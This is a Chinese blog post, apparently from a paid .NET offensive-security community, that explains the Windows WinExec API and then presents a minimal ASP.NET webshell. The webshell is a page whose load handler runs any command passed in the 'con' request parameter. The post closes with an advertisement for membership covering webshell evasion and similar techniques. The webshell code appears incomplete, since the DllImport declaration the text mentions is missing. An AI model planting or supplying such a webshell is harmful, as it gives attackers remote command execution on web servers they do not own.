01WinExec API
WinExec 是一个 Windows API 函数,用于执行指定的可执行文件,并且可以指定窗口的显示方式。它的原型如下
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);
lpCmdLine:一个以 null 结尾的字符串,指定要执行的命令行。uCmdShow:一个指定窗口显示方式的整数值。
SW_HIDE:隐藏窗口并激活另一个窗口。
SW_MAXIMIZE:最大化指定的窗口。
SW_MINIMIZE:最小化指定的窗口并激活下一个顶级窗口。
SW_RESTORE:激活并显示窗口。如果窗口最小化或最大化,系统会将其恢复为其原始大小和位置。在恢复大小和位置之前,系统不会重新绘制窗口。
SW_SHOW:激活窗口并将其显示。如果窗口最小化或最大化,则系统会将其恢复为其原始大小和位置。在恢复大小和位置之前,系统不会重新绘制窗口。
SW_SHOWDEFAULT:设置为 SW_SHOWNORMAL。
SW_SHOWMAXIMIZED:显示窗口,并将其最大化(激活)。
SW_SHOWMINIMIZED:显示窗口,并将其最小化(激活)。
SW_SHOWMINNOACTIVE:显示窗口的最小化版本。窗口不会被激活。
SW_SHOWNA:显示窗口的当前大小和位置。窗口不会被激活。
SW_SHOWNOACTIVATE:显示窗口在当前位置。窗口不会被激活。
SW_SHOWNORMAL:激活并显示窗口。如果窗口最小化或最大化,则系统会将其恢复为其原始大小和位置。在恢复大小和位置之前,系统不会重新绘制窗口。
WinExec 函数的返回值是一个表示函数执行结果的整数值。如果函数成功,返回值为大于32的值,代表进程的标识符。如果函数失败,则返回值小于或等于32,可以通过 GetLastError 函数获取错误代码。
02实现WebShell
当页面加载时,它会执行通过HTTP请求传递进来的命令,并将命令行窗口显示出来。具体代码如下所示
<%@ Import Namespace="System.Runtime.InteropServices"%>
<script runat="server" language="c#">
public void Page_load(){
WinExec(Request["con"], 1);
}
</script>
<%@ Import Namespace="System.Runtime.InteropServices"%>:在.NET页面中使用DllImport特性需要导入System.Runtime.InteropServices命名空间,WinExec(Request["con"], 1);调用了WinExec方法,执行通过HTTP请求传递进来的命令。Request["con"]获取了名为"con"的请求参数,并将其作为命令行参数传递给WinExec方法。1是命令行的显示方式,表示将命令行窗口显示出来。有关工具已发表于星球,师傅们可自行查阅资料。
03欢迎加入知识库
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。只需199元就可以加入我们。
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。